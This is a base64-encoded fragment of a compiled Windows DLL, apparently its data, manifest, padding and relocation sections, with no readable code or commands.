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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA